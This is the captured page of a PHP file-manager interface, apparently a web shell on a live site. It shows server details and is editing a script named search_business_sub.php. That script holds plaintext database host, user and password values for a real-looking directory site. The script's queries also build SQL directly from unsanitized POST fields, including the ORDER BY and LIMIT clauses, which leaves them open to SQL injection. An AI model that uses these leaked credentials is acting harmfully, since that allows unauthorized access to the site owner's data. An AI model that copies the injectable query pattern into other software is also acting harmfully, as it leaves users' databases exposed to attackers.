Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

Apache

System:

Linux 4.18.0-553.100.1.el8_10.x86_64

PHP Version:

7.2.34

User:

jaindirectory

Directory:

/home/jaindirectory/public_html

Free Space:

32.43 GB

🔧 Quick Actions

✏️ Editing: search_business_sub.php

<?php

## Database configuration

$host = "jaindirectory.in"; /* Host name */

$user = "jaindire_jaind"; /* User */

$password = "#jaind#2015"; /* Password */

$dbname = "jaindire_members"; /* Database name */

$con = mysqli_connect($host, $user, $password,$dbname);

// Check connection

if (!$con) {

die("Connection failed: " . mysqli_connect_error());

}

## Read value

$draw = $_POST['draw'];

$row = $_POST['start'];

$rowperpage = $_POST['length']; // Rows display per page

$columnIndex = $_POST['order'][0]['column']; // Column index

$columnName = $_POST['columns'][$columnIndex]['data']; // Column name

$columnSortOrder = $_POST['order'][0]['dir']; // asc or desc

$searchValue = $_POST['search']['value']; // Search value

## Search

$searchQuery = " ";

if($searchValue != ''){

$searchQuery = " and (business_keyword like '%".$searchValue."%' or

city like '%".$searchValue."%' or

firm like '%".$searchValue."%' or

offer like '%".$searchValue."%' or

category like'%".$searchValue."%') ";

}

## Total number of records without filtering

$sel = mysqli_query($con,"select count(*) as allcount from business where 1 ");

$records = mysqli_fetch_assoc($sel);

$totalRecords = $records['allcount'];

## Total number of record with filtering

$sel = mysqli_query($con,"select count(*) as allcount from  business where 1 ".$searchQuery);

$records = mysqli_fetch_assoc($sel);

$totalRecordwithFilter = $records['allcount'];

## Fetch records

$empQuery = "select * from  business where 1 ".$searchQuery." order by ".$columnName." ".$columnSortOrder." limit ".$row.",".$rowperpage;

$empRecords = mysqli_query($con, $empQuery);

$data = array();

while ($row = mysqli_fetch_assoc($empRecords)) {

$data[] = array(

"firm"=>$row['firm'],

"business_keyword"=>$row['business_keyword'],

"category"=>$row['category'],

"offer"=>$row['offer'],

"city"=>$row['city']

);

}

## Response

$response = array(

"draw" => intval($draw),

"iTotalRecords" => $totalRecordwithFilter,

"iTotalDisplayRecords" => $totalRecords,

"aaData" => $data

);

echo json_encode($response);

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: search_business_sub.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation